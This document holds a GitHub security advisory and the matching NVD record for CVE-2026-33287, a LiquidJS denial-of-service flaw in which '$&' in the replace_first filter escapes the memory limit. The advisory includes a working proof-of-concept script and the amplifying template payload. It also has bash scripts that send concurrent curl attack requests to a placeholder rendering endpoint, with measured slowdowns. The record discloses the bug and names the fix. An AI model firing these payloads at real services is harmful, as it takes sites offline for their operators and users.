{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:44:23Z",
    "nvd_published_at": "2026-03-26T01:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `replace_first` filter in LiquidJS uses JavaScript\u0027s `String.prototype.replace()` which interprets `$\u0026` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.\n\n### Details\nThe `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript\u0027s native `String.prototype.replace()`. This native method interprets special replacement patterns including `$\u0026` (insert the matched substring), `$\u0027` (insert the portion after the match), and `` $` `` (insert the portion before the match).\n\nThe filter calls `memoryLimit.use(str.length)` to account for the **input** string\u0027s memory cost, but the **output** string \u2014 potentially many times larger due to `$\u0026` expansion \u2014 is never charged against the memory limit.\n\nAn attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$\u0026`. Each `$\u0026` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.\n\nBy chaining this technique across multiple variable assignments, exponential amplification is achieved:\n\n| Stage | Input Size | `$\u0026` Repetitions | Output Size | Cumulative `memoryLimit` Charge |\n|-------|-----------|-------------------|-------------|-------------------------------|\n| 1 | 1 byte | 50 | 50 bytes | ~1 byte |\n| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |\n| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |\n| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |\n| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |\n\n**Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).\n\nNotably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$\u0026` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.\n\n```typescript\n// src/builtin/filters/string.ts:130-133 \u2014 VULNERABLE\nexport function replace_first (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)  // Only charges input\n  return str.replace(stringify(arg1), arg2)  // $\u0026 expansion uncharged!\n}\n\n// src/builtin/filters/string.ts:125-129 \u2014 SAFE (for comparison)\nexport function replace (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.split(stringify(arg1)).join(arg2)  // split/join: $\u0026 treated as literal\n}\n```\n\n### PoC\n**Prerequisites**:\n- `npm install liquidjs@10.24.0`\n- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)\n\nSave the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\n(async () =\u003e {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 \u2014 Verify $\u0026 expansion in replace_first\n  console.log(\u0027=== Step 1: $\u0026 expansion in replace_first ===\u0027);\n  const step1 = \u0027{{ \"HELLO\" | replace_first: \"HELLO\", \"$\u0026-$\u0026-$\u0026\" }}\u0027;\n  console.log(\u0027Result:\u0027, await engine.parseAndRender(step1));\n  // Output: \"HELLO-HELLO-HELLO\" \u2014 $\u0026 expanded to matched string\n\n  // Step 2 \u2014 Verify replace (split/join) is safe\n  console.log(\u0027\\n=== Step 2: replace is safe ===\u0027);\n  const step2 = \u0027{{ \"ABCDE\" | replace: \"ABCDE\", \"$\u0026$\u0026$\u0026\" }}\u0027;\n  console.log(\u0027Result:\u0027, await engine.parseAndRender(step2));\n  // Output: \"$\u0026$\u0026$\u0026\" \u2014 $\u0026 treated as literal\n\n  // Step 3 \u2014 5-stage exponential amplification (50x per stage)\n  console.log(\u0027\\n=== Step 3: Exponential amplification (625,000:1) ===\u0027);\n  const amp50 = \u0027$\u0026\u0027.repeat(50);\n  const step3 = [\n    \u0027{% assign s = \"A\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{{ s | size }}\u0027\n  ].join(\u0027\u0027);\n\n  const startMem = process.memoryUsage().heapUsed;\n  const result = await engine.parseAndRender(step3);\n  const endMem = process.memoryUsage().heapUsed;\n\n  console.log(\u0027Output string size:\u0027, result.trim(), \u0027bytes\u0027);  // \"312500000\"\n  console.log(\u0027Heap increase:\u0027, ((endMem - startMem) / 1e6).toFixed(1), \u0027MB\u0027);\n  console.log(\u0027Amplification: ~625,000:1 (1 byte input -\u003e 312.5 MB output)\u0027);\n  console.log(\u0027memoryLimit charged: \u003c 7 MB (only input lengths counted)\u0027);\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: $\u0026 expansion in replace_first ===\nResult: HELLO-HELLO-HELLO\n\n=== Step 2: replace is safe ===\nResult: $\u0026$\u0026$\u0026\n\n=== Step 3: Exponential amplification (625,000:1) ===\nOutput string size: 312500000 bytes\nHeap increase: ~625.0 MB\nAmplification: ~625,000:1 (1 byte input \u2192 312.5 MB output)\nmemoryLimit charged: \u003c 7 MB (only input lengths counted)\n```\n\nThe `memoryLimit` of 100MB is completely bypassed \u2014 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.\n\n#### Demonstrated Denial of Service (concurrent attack)\n\nAfter confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.\n\n**Raw Liquid template payload sent by attacker:**\n```liquid\n{% assign s = \"A\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{{ s }}\n```\n\n\u003e `$\u0026` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x \u2192 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.\n\n```bash\n#!/bin/bash\n# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement\n\nDOLLAR=\u0027$\u0026\u0027\nREP50=$(printf \"${DOLLAR}%.0s\" {1..50})\nPAYLOAD=\"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{{ s }}\"\n\necho \"=== Advisory 2 DoS: 20 concurrent + normal user ===\"\n\n# 20 DoS attack requests (per-request timing)\nfor i in $(seq 1 20); do\n  (\n    t1=$(date +%s%3N)\n    curl -s -o /dev/null --max-time 120 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n      -H \"Content-Type: application/x-www-form-urlencoded\" \\\n      --data-urlencode \"template=$PAYLOAD\"\n    t2=$(date +%s%3N)\n    echo \"DoS[$i]: $(( t2 - t1 ))ms\"\n  ) \u0026\ndone\n\n# Legitimate user requests at 0s, 3s, 6s\n(\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n  t2=$(date +%s%3N)\n  echo \"Normal[0s]: $(( t2 - t1 ))ms\"\n) \u0026\n\n(\n  sleep 3\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n  t2=$(date +%s%3N)\n  echo \"Normal[3s]: $(( t2 - t1 ))ms\"\n) \u0026\n\n(\n  sleep 6\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n  t2=$(date +%s%3N)\n  echo \"Normal[6s]: $(( t2 - t1 ))ms\"\n) \u0026\n\nwait\necho \"=== Done ===\"\n```\n\n**Empirical results** (Node.js v20.20.1, LiquidJS 10.24.0):\n```\nNormal[0s]:  13047ms  \u2190 request sent concurrently with attack \u2014 13s delay\nNormal[3s]:  10124ms  \u2190 still blocked 3 seconds later \u2014 10s delay\nNormal[6s]:   7186ms  \u2190 still blocked 6 seconds later \u2014 7s delay\nDoS[1]:      14729ms\nDoS[2-20]:   17747ms ~ 25353ms\n```\n\nWith 20 concurrent requests, legitimate users experience **up to 13-second delays**. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\n```bash\n# $\u0026 expansion \u2014 should return \"HELLO-HELLO-HELLO\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{{ \\\"HELLO\\\" | replace_first: \\\"HELLO\\\", \\\"$\u0026-$\u0026-$\u0026\\\" }}\"}\u0027\n\n# replace is safe \u2014 should return literal \"$\u0026$\u0026$\u0026\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{{ \\\"ABCDE\\\" | replace: \\\"ABCDE\\\", \\\"$\u0026$\u0026$\u0026\\\" }}\"}\u0027\n\n# 5-stage 50x amplification \u2014 produces ~312.5MB response\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{{ s | size }}\"}\u0027\n```\n```bash\n# 20 concurrent DoS attack requests\nfor i in $(seq 1 20); do\n  curl -s -o /dev/null --max-time 120 -X POST \"http://\u003capp\u003e/render\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \u0027template={% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{{ s }}\u0027 \u0026\ndone\n\n# Legitimate user request (concurrent)\ncurl -w \"Normal: %{time_total}s\\n\" -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/render\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \u0027template=\u003ch1\u003eHello\u003c/h1\u003e\u0027 \u0026\n\nwait\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.\n\n### Impact\n- **`memoryLimit` security bypass**: The memory limit is rendered ineffective for templates using `replace_first` with `$\u0026` patterns.\n- **Demonstrated Denial of Service**: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause **complete service unavailability**. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.\n- **Measured service disruption** (LiquidJS 10.24.0, Node.js v20, empirically verified):\n\n  | Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |\n  |---------------------------|------------------------|-------------|---------------|\n  | 10 | 3.2s | **640x** | ~11s |\n  | 20 | **10.9s** | **2,180x** | ~29s |\n\n  With 20 concurrent requests, legitimate user requests are **delayed by 10.9 seconds** and the server becomes **completely unresponsive for 29 seconds**. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.",
  "id": "GHSA-6q5m-63h6-5x4v",
  "modified": "2026-03-30T13:53:32Z",
  "published": "2026-03-25T17:44:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS has Exponential Memory Amplification through its replace_first Filter $\u0026 Pattern"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "7E49E8C9-5FB9-40CA-BE2C-AC2B6553F472",
              "versionEndExcluding": "10.25.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, the `replace_first` filter in LiquidJS uses JavaScript\u0027s `String.prototype.replace()` which interprets `$\u0026` as a back reference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. Version 10.25.1 patches the issue."
    },
    {
      "lang": "es",
      "value": "LiquidJS es un motor de plantillas compatible con Shopify / GitHub Pages en JavaScript puro. Antes de la versi\u00f3n 10.25.1, el filtro \u0027replace_first\u0027 en LiquidJS utiliza \u0027String.prototype.replace()\u0027 de JavaScript, que interpreta \u0027$\u0026amp;\u0027 como una retroreferencia a la subcadena coincidente. El filtro solo carga \u0027memoryLimit\u0027 por la longitud de la cadena de entrada, no por la salida amplificada. Un atacante puede lograr una amplificaci\u00f3n exponencial de la memoria (hasta 625.000:1) mientras se mantiene dentro del presupuesto de \u0027memoryLimit\u0027, lo que lleva a una denegaci\u00f3n de servicio. La versi\u00f3n 10.25.1 corrige el problema."
    }
  ],
  "id": "CVE-2026-33287",
  "lastModified": "2026-03-30T16:46:03.917",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-26T01:16:27.530",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}